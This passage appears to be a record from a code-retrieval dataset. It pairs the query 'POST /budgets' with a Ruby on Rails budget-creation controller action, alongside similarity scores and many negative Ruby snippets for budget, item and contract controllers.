Ptbudget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ptbudget }\n end\n end", "def balances(id)\n get(\"/accounts/#{id}/balances\")\n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n format.html { redirect_to @budget, notice: 'El presupuesto se actualizó correctamente' }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n render \"api/v1/bounties/show\"\n end", "def show\n @breakdown = Breakdown.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @breakdown }\n end\n end", "def show\n @debt = Debt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @debt }\n end\n end", "def create_budget_using_post_with_http_info(budget_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetApi.create_budget_using_post ...'\n end\n # verify the required parameter 'budget_request' is set\n if @api_client.config.client_side_validation && budget_request.nil?\n fail ArgumentError, \"Missing the required parameter 'budget_request' when calling BudgetApi.create_budget_using_post\"\n end\n # resource path\n local_var_path = '/nucleus/v1/budget'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(budget_request)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Budget')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetApi#create_budget_using_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end" ]
[ "0.76160544", "0.7537587", "0.75305104", "0.74275905", "0.7298344", "0.7276626", "0.7270971", "0.7212236", "0.7089043", "0.7083458", "0.70186245", "0.7007369", "0.7007369", "0.7007369", "0.7007369", "0.69924563", "0.69297826", "0.68525136", "0.6842345", "0.68049353", "0.67634374", "0.6755386", "0.67426056", "0.66908157", "0.66887623", "0.66884005", "0.6676657", "0.66715544", "0.6599241", "0.6483245", "0.6478856", "0.64402103", "0.6408831", "0.638493", "0.632651", "0.6325283", "0.6313492", "0.6303496", "0.62938386", "0.6287778", "0.62747216", "0.62713695", "0.6267399", "0.6199986", "0.61993456", "0.6191725", "0.6191725", "0.6182498", "0.6173676", "0.6173528", "0.6165367", "0.6165367", "0.6161508", "0.61548024", "0.6142928", "0.6142598", "0.60749555", "0.60723084", "0.60708517", "0.60697705", "0.60634357", "0.6026747", "0.5998857", "0.59891814", "0.59813464", "0.5951996", "0.5937854", "0.5923673", "0.5914743", "0.5909382", "0.5885637", "0.5848292", "0.58413464", "0.5809827", "0.580622", "0.5780685", "0.5765371", "0.5760272", "0.5755564", "0.57449585", "0.5713382", "0.5699718", "0.5695883", "0.5693668", "0.56839687", "0.5676074", "0.5661814", "0.5660769", "0.564792", "0.5642584", "0.5642378", "0.56388927", "0.5633302", "0.5632111", "0.5632111", "0.5630563", "0.5624177", "0.56188524", "0.5591655", "0.55915785", "0.5587893" ]
0.0
-1
POST /budgets POST /budgets.json
def create @budget = Budget.new(budget_params) @budget1 = @budget respond_to do |format| if @budget.save BudgetMailer.budget_email(@budget1).deliver_now format.html { redirect_to reservation_requests_path, notice: 'Presupuesto creado exitosamente.' } else @my_reservation_requests = ReservationRequest.find(budget_params[:reservation_request_id]) Rails.logger.debug " conteo: #{1}" @budget.budget_service_details.build @budget.budget_room_details.build format.html { render :new } format.json { render json: @budget.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @budget = Budget.new(params[:budget])\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to budgets_path }\n format.json { render json: @budget, status: :created, location: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(budget_params)\n respond_to do |format|\n if @budget.save\n \n if !params[:budget][:items].nil?\n params[:budget][:items].each do |f| \n Item.where([\"id = #{f}\"]).first.update(budget_id: @budget.id)\n end\n end\n \n format.html { redirect_to budgets_path, notice: \"Budget was successfully created.\" }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end", "def create\n @budget = Budget.new(params[:budget])\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render json: @budget, status: :created, budget: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(params[:budget])\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render json: @budget, status: :created, location: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(budget_params)\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(budget_params)\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(budget_params)\n @client = Client.new\n @clients = Client.all\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'El presupuesto se creó correctamente' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def budget_params\n params.require(:budget).permit(:income, :savings, :housing, :utilities, :food, :food, :transportation, :clothing, :personal, :recreation, :debt, :kids, :session, :budget_name)\n end", "def budget_params\n params.require(:budget).permit(:name, :allotment, :start, :end)\n end", "def create\n @budget = Budget.new(params[:budget])\n @budget.user = current_user\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render json: @budget, status: :created, location: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def budget_params\n params.require(:budget).permit(:name, :from, :expires, :user_id, items: [:id])\n end", "def budgets\n # https://developer.xero.com/documentation/api/budgets\n # if you are having issues in adding the accounting.budgets.read scope, get in touch => api@xero.com\n @budgets = xero_client.accounting_api.get_budgets(current_user.active_tenant_id).budgets\n @budget = xero_client.accounting_api.get_budget(current_user.active_tenant_id, @budgets.sample.budget_id).budgets\n end", "def index\n @budgets = Budget.all\n end", "def create_budget_using_post_with_http_info(budget_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetApi.create_budget_using_post ...'\n end\n # verify the required parameter 'budget_request' is set\n if @api_client.config.client_side_validation && budget_request.nil?\n fail ArgumentError, \"Missing the required parameter 'budget_request' when calling BudgetApi.create_budget_using_post\"\n end\n # resource path\n local_var_path = '/nucleus/v1/budget'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(budget_request)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Budget')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetApi#create_budget_using_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n get_budgets\n end", "def set_budget\n @budget = Budget.find(params[:id])\n\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def create\n @budgetitem = Budgetitem.new(budgetitem_params)\n\n respond_to do |format|\n if @budgetitem.save\n format.html { redirect_to @budgetitem, notice: 'Budgetitem was successfully created.' }\n format.json { render :show, status: :created, location: @budgetitem }\n else\n format.html { render :new }\n format.json { render json: @budgetitem.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def new\n @budget = Budget.new\n @budgetProducts = []\n @customer = Customer.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget }\n end\n end", "def new\n @budget = Budget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget }\n end\n end", "def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def budget_params\n params.require(:budget).permit(:client_id, :contract_id, :date, :description, :state, :total_amount, :name,\n budget_details_attributes: [:id, :rubro_id, :cost, :measurement_unit, :price, :quantity, :subtotal, :utility, :_destroy])\n end", "def new\n @budget = Budget.new\n\n respond_to do |format|\n format.html # new.html.erb\n # format.json { render json: @budget }\n end\n end", "def create\n @item = Item.new(params[:item])\n @item.budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to after_save_redirection_path, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def budget_params\n params.require(:budget).permit(:user_id, :month, :year, :budget_date, :name,\n incomes_attributes:[:id,:monthtitle_id,:yeartitle_id,\n :person_id,\n :inflowtype_id,:owner,:amount,:user_id,:details,:income_type,\n :month,:year,:_destroy],\n expenses_attributes:[:id,:monthtitle_id,:yeartitle_id, :outflowtype_id,:person_id,:owner, :amount, :user_id,\n :details,:expense_type,:month,:year ,:_destroy],\n comments_attributes:[:id,:user_id, :commentary,:_destroy])\n end", "def create\n @budget = Budget.find(params[:budget_id])\n @proposed_item = @budget.proposed_items.build(proposed_item_params)\n\n respond_to do |format|\n if @proposed_item.save\n format.html { redirect_to @budget, notice: 'Proposed item was successfully created.' }\n format.json { render :show, status: :created, location: @proposed_item }\n else\n format.html { render :new }\n format.json { render json: @proposed_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @therapy_budget = TherapyBudget.new(therapy_budget_params)\n\n respond_to do |format|\n if @therapy_budget.save\n format.html { redirect_to @therapy_budget, notice: 'Therapy budget was successfully created.' }\n format.json { render :show, status: :created, location: @therapy_budget }\n else\n format.html { render :new }\n format.json { render json: @therapy_budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_budget_using_post(budget_request, opts = {})\n data, _status_code, _headers = create_budget_using_post_with_http_info(budget_request, opts)\n data\n end", "def create\n budget = Budget.find(contract_params[:budget_id])\n @contract = Contract.new_by_budget(contract_params, budget)\n respond_to do |format|\n if @contract.save\n contract = Contract.find(@contract.id)\n budget.update(state: Budget.states[:approved], contract: @contract)\n format.html { redirect_to contract, notice: 'El contrato se creó correctamente.' }\n format.json { render :show, status: :created, location: @contract }\n else\n format.html { render :new }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget_approver = BudgetApprover.new(budget_approver_params)\n respond_to do |format|\n if @budget_approver.save\n format.html { redirect_to @budget_approver, notice: 'Budget approver page was successfully created.' }\n format.json { render :show, status: :created, location: @budget_approver }\n else\n format.html { render :new }\n format.json { render json: @budget_approver.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n pay_amount[] = params[:budget].pay_amount\n @pay_classifications.each do |id|\n\n Budget.new( ym: params[:budget].ymd,\n pay_classification: id,\n pay_amount: pay_amount[id],\n\n )\n\ncreate_table :budgets do |t|\n t.date :ym\n t.references :pay_classification, foreign_key: true\n t.integer :pay_amount\n t.references :income_classification, foreign_key: true\n t.integer :income_amount\n t.references :user, foreign_key: true\n\n t.timestamps\nend\n\n end\n\n @Budget = Budget.new(budget_params)\n @Budget.user_id = current_user.id if current_user\n \n if @JounalEntry.save\n redirect_to \"/\", notice: \"登録しました。\"\n else\n @paytypes = PayType.all\n render :new\n end\n \n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n Item.where([\"budget_id = #{params[:id]}\"]).update_all(budget_id: nil)\n if !params[:budget][:items].nil?\n params[:budget][:items].each do |f| \n Item.where([\"id = #{f}\"]).first.update(budget_id: params[:id])\n end\n end\n format.html { redirect_to budgets_path, notice: \"Budget was successfully updated.\" }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budgetcategory = Budgetcategory.new(params[:budgetcategory])\n\n respond_to do |format|\n if @budgetcategory.save\n format.html { redirect_to @budgetcategory, notice: 'Budgetcategory was successfully created.' }\n format.json { render json: @budgetcategory, status: :created, location: @budgetcategory }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budgetcategory.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_budget_for_order\n @budget_for_order = BudgetForOrder.find(params[:id])\n @budgets=Budget.where([\"budget_for_order_id = ?\", \"#{params[:id]}\"])\n end", "def create\n @budget_item = BudgetItem.new(params[:budget_item])\n\n respond_to do |format|\n if @budget_item.save\n format.html { redirect_to(@budget_item, :notice => 'Budget item was successfully created.') }\n format.xml { render :xml => @budget_item, :status => :created, :location => @budget_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @budget_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @budget_for_order = BudgetForOrder.new(budget_for_order_params)\n @budget_for_order.total=0\n respond_to do |format|\n if @budget_for_order.save\n format.html { redirect_to budget_new_add_path(@budget_for_order.id), notice: 'Favor de agregar los detalles' }\n format.json { render :show, status: :created, location: @budget_for_order }\n else\n format.html { render :new }\n format.json { render json: @budget_for_order.errors, status: :unprocessable_entity }\n end\n end\n end", "def budget_params\n params.require(:budget).permit(:id,:reservation_request_id,:comfort_id,:check_in, :check_out,:comentario, :descuento, :total,:budget_room_details_attributes => [:id, :cantidad, :type_of_room_id, :subtotal, :_destroy], :budget_service_details_attributes => [:id, :cantidad, :service_id, :subtotal, :_destroy])\n end", "def budget_product_params\n params.require(:budget_product).permit(:quantity, :integer, :product_id, :budget)\n end", "def create_budget(budget_name)\r\n budget_name << \".db\"\r\n\r\n db = SQLite3::Database.new(\"#{budget_name}\")\r\n\r\n budget_tbl_cmd = <<-SQL\r\n CREATE TABLE IF NOT EXISTS budgets(\r\n id INTEGER PRIMARY KEY,\r\n category_name VARCHAR(255),\r\n amount REAL,\r\n due_date DATE NULL\r\n )\r\n SQL\r\n\r\n month_tbl_cmd = <<-SQL\r\n CREATE TABLE IF NOT EXISTS months(\r\n id INTEGER PRIMARY KEY,\r\n month INT,\r\n year INT\r\n )\r\n SQL\r\n\r\n budget_month_tbl_cmd = <<-SQL\r\n CREATE TABLE IF NOT EXISTS budget_months(\r\n id INTEGER PRIMARY KEY,\r\n budget_id INT,\r\n month_id INT,\r\n balance REAL,\r\n FOREIGN KEY (budget_id) REFERENCES budgets(id),\r\n FOREIGN KEY (month_id) REFERENCES months(id)\r\n )\r\n SQL\r\n\r\n expenses_tbl_cmd = <<-SQL\r\n CREATE TABLE IF NOT EXISTS expenses(\r\n id INTEGER PRIMARY KEY,\r\n budget_month_id INT,\r\n description VARCHAR(255),\r\n amount REAL,\r\n expense_date DATE,\r\n FOREIGN KEY (budget_month_id) REFERENCES budget_months(id)\r\n )\r\n SQL\r\n\r\n db.execute(budget_tbl_cmd)\r\n db.execute(month_tbl_cmd)\r\n db.execute(budget_month_tbl_cmd)\r\n db.execute(expenses_tbl_cmd)\r\n\r\n return db\r\nend", "def destroy\n @budget = Budget.find(params[:id])\n @budget.destroy\n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end", "def index\n @budgets = Budget.all.paginate(page: params[:page], :per_page => 5).order(\"created_at DESC\")\n end", "def destroy\n @budget = Budget.find(params[:id])\n @budget.destroy\n\n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end", "def budgetitem_params\n params.require(:budgetitem).permit(:name, :codeitem)\n end", "def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end", "def create\n @item = BudgetItem.new(params[:budget_item])\n\n respond_to do |format|\n if @item.save\n flash[:notice] = 'Item was successfully created.'\n format.html { redirect_to(@item) }\n format.xml { render :xml => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @budget_product = BudgetProduct.new(budget_product_params)\n\n respond_to do |format|\n if @budget_product.save\n format.html { redirect_to @budget_product, notice: 'Budget product was successfully created.' }\n format.json { render :show, status: :created, location: @budget_product }\n else\n format.html { render :new }\n format.json { render json: @budget_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_budget_request\n @budget_request = BudgetRequest.find(params[:id])\n end", "def index\n # TODO: implement filters\n @budgets = Budget.order(\"budgets.starts_at DESC, budgets.number ASC\")\n .page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n #format.select2 { render json: { items: budgets.map(&:to_select2_json), total: @budgets.count} }\n #format.json { render json: @budgets }\n end\n end", "def new\n @budgetcategory = Budgetcategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budgetcategory }\n end\n end", "def get_budgets(opts = {})\n data, _status_code, _headers = get_budgets_with_http_info(opts)\n data\n end", "def create\n @bill = Bill.find(params[:bill_id])\n @breakdown = @bill.breakdowns.build(params[:breakdown])\n @breakdown.save\n\n redirect_to @bill\n\n #respond_to do |format|\n #if @breakdown.save\n #format.html { redirect_to @breakdown, notice: 'Breakdown was successfully created.' }\n #format.json { render json: @breakdown, status: :created, location: @breakdown }\n #else\n #format.html { render action: \"new\" }\n #format.json { render json: @breakdown.errors, status: :unprocessable_entity }\n #end\n #end\n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @line = Line.new(params[:line])\n @line.budget_id = params[:budget_id]\n @budget = @line.budget\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to budget_path(@budget), notice: 'Line was successfully created.' }\n format.json { render json: @line, status: :created, location: @line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @budget_approvers = BudgetApprover.all\n end", "def create\n @ptbudget = Ptbudget.new(params[:ptbudget])\n\n respond_to do |format|\n if @ptbudget.save\n flash[:notice] = 'Ptbudget was successfully created.'\n format.html { redirect_to(@ptbudget) }\n format.xml { render :xml => @ptbudget, :status => :created, :location => @ptbudget }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ptbudget.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_budgetitem\n @budgetitem = Budgetitem.find(params[:id])\n end", "def update\n budget = Budget.find params[:budget_id]\n budget.status = false\n budget.save\n redirect_to budgets_path\n end", "def get_budgets_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetsApi.get_budgets ...'\n end\n # resource path\n local_var_path = '/budgets'\n\n # query parameters\n query_params = {}\n query_params[:'include_accounts'] = opts[:'include_accounts'] if !opts[:'include_accounts'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BudgetSummaryResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetsApi#get_budgets\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def therapy_budget_params\n params.require(:therapy_budget).permit(:price)\n end", "def new\n @budget = Budget.new\n @budget.year = Time.new.year\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget }\n end\n end", "def create\n megam_rest.post_billedhistories(to_hash)\n end", "def new\n @budgeting_type = BudgetingType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budgeting_type }\n end\n end", "def create\n @export_budget = ExportBudget.new(export_budget_params)\n @export_budget.author = current_user\n respond_to do |format|\n if @export_budget.save\n format.html { redirect_to @export_budget, notice: 'Export budget was successfully created.' }\n format.js { }\n format.json { render :back, status: :created, location: @export_budget }\n else\n format.html { render :new }\n format.js { }\n format.json { render json: @export_budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def budget_account_params\n params.require(:budget_account).permit(:name, :description, :currency_code)\n end", "def create\n @budget_line = BudgetLine.new(budget_line_params)\n\n respond_to do |format|\n if @budget_line.save\n format.html { redirect_to @budget_line, notice: 'Budget line was successfully created.' }\n format.json { render :show, status: :created, location: @budget_line }\n else\n format.html { render :new }\n format.json { render json: @budget_line.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @budget }\n end\n end", "def create\n @budget_request = BudgetRequest.new(budget_request_params)\n\n respond_to do |format|\n if @budget_request.save\n purchase = @budget_request.purchase_request_id\n format.html { redirect_to edit_purchase_request_path(PurchaseRequest.find_by(id: purchase)), notice: 'Pedido de cotización actualizado.' }\n format.json { render :show, status: :created, location: @budget_request }\n else\n format.html { render :new }\n format.json { render json: @budget_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@id = params[:id]\n\t\t@list = params[:budget_source_project]\n\t\tif !@list.nil?\n\t\t@list.each do |key, value|\n\t\t@add = BudgetSourceProject.where(:budget_source_id => @id , :project_id => key)\n\t\t@add.update_all(:amount => value)\n\t\tend\n\tredirect_to(:controller => 'budget_sources', :action => 'list')\t\n\t\telse\n\tredirect_to(:controller => 'budget_sources', :action => 'list')\n\tend\n\t\tend", "def entry_params\n if params[:entry][:budgets_list]\n budgets_list = params[:entry][:budgets_list].split(\",\")\n budgets = Budget.where(description: budgets_list)\n params[:entry][:budget_ids] = budgets.map(&:id)\n\n params[:entry].delete(:budgets_list)\n end\n\n params.require(:entry).permit!\n end", "def new\n @breadcrumb = 'create'\n @budget_heading = BudgetHeading.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget_heading }\n end\n end", "def create\n @export_budget = ExportBudget.new(params[:export_budget])\n respond_to do |format|\n if @export_budget.save\n @result = 'save'\n format.html { redirect_to :back, notice: 'Export budget was successfully created.' }\n format.js { }\n format.json { render :back, status: :created, location: @export_budget }\n else\n @result = 'not_save'\n format.html { render :new }\n format.js { }\n format.json { render json: @export_budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget_disposition = BudgetDisposition.new(budget_disposition_params)\n\n respond_to do |format|\n if @budget_disposition.save\n format.html { redirect_to @budget_disposition, notice: 'Budget disposition was successfully created.' }\n format.json { render :show, status: :created, location: @budget_disposition }\n else\n format.html { render :new }\n format.json { render json: @budget_disposition.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n # format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n # format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def create\n @breakdown = Breakdown.new(params.require(:breakdown).permit(:bdate, :description, :vehicle_id))\n\n respond_to do |format|\n if @breakdown.save\n format.html { redirect_to breakdowns_url,\n notice: 'Breakdown was successfully created.' }\n format.json { render json: @breakdown, status: :created, location: @breakdown }\n else\n prepFormVariables\n format.html { render action: \"new\" }\n format.json { render json: @breakdown.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n load_budget\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budget }\n end\n end", "def index\n @budget_products = BudgetProduct.all\n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n format.html { redirect_to @budget, notice: 'El presupuesto se actualizó correctamente' }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @budget.destroy\n\n respond_to do |format|\n format.html { redirect_to budgets_url, notice: 'Budget was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget.destroy\n respond_to do |format|\n format.html { redirect_to budgets_url, notice: 'Budget was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget.destroy\n respond_to do |format|\n format.html { redirect_to budgets_url, notice: 'Budget was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget.destroy\n respond_to do |format|\n format.html { redirect_to budgets_url, notice: 'Budget was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n @budget_dispositions = BudgetDisposition.all\n end", "def index\n @budgets = Budget.all\n @budgets = Budget.order(params[:by] + \" \" + params[:order]).page params[:page] if params[:sort] == \"true\"\n @budgets = Budget.order(:id).page params[:page]\n end", "def bussiness_params\n params.require(:bussiness).permit(:summary, :agenda, :services, :about, :industry, :website, :contact, :headquarter, :companysize, :founded, :facebook_link, :twitter_link, :youtube_link, :google_link, :tagline)\n end", "def create\n @brave_burst = BraveBurst.new(brave_burst_params)\n\n respond_to do |format|\n if @brave_burst.save\n format.html { redirect_to @brave_burst, notice: 'Brave burst was successfully created.' }\n format.json { render action: 'show', status: :created, location: @brave_burst }\n else\n format.html { render action: 'new' }\n format.json { render json: @brave_burst.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @budget.destroy\n respond_to do |format|\n format.html { redirect_to budgets_url, notice: \"Budget was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def create\n @debt = Debt.new(params[:debt])\n\n respond_to do |format|\n if @debt.save\n format.html { redirect_to @debt, :notice => 'Debt was successfully created.' }\n format.json { render :json => @debt, :status => :created, :location => @debt }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @debt.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n return render(:json => {error: \"bad request\"}, :status => 400) unless params.has_key?(:service_name) and params.has_key?(:revision) and params.has_key?(:repo_url)\n\n duplicate_burn = Burn.service_short_name(params[:service_name]).revision(params[:revision])\n if duplicate_burn.count > 0\n unless duplicate_burn.status('failed').count > 0 and duplicate_burn.status('done').count == 0\n return render(:json => {error: \"Already burning #{params[:service_name]} release #{params[:revision]}\"}, :status => 409)\n end\n end\n\n service = Service.find_by_short_name(params[:service_name])\n if service.nil?\n service = Service.create({:short_name => params[:service_name], :pretty_name => params[:service_name]})\n end\n\n burn = Burn.create({:service => service, :revision => params[:revision], :repo_url => params[:repo_url].gsub('.git',''), :status_reason => \"created on #{Time.now}\"})\n\n if params.has_key?(:notify)\n Notification.create({:burn => burn.id.to_s, :method => 'email', :destination => params[:notify]})\n end\n\n render(:json => {burn_id: burn.id, service_id: service.id, service_name: params[:service_name], revision: burn.revision, status: burn.status})\n\n BurnWorker.perform_async(burn.id)\n end", "def index\n @budgetitems = Budgetitem.all.order(:name)\n end", "def create\n @project = Project.find(params[:project_id])\n @bidder_amount = @project.bidder_amounts.create(bidder_amount_params)\n\n respond_to do |format|\n if @bidder_amount.save\n format.html { redirect_to @project, notice: 'Bidder amount was successfully created.' }\n format.json { render :show, status: :created, location: @bidder_amount }\n else\n format.html { render :new }\n format.json { render json: @bidder_amount.errors, status: :unprocessable_entity }\n end\n end\n end", "def billable_params\n params.require(:billable).permit(:item_number, 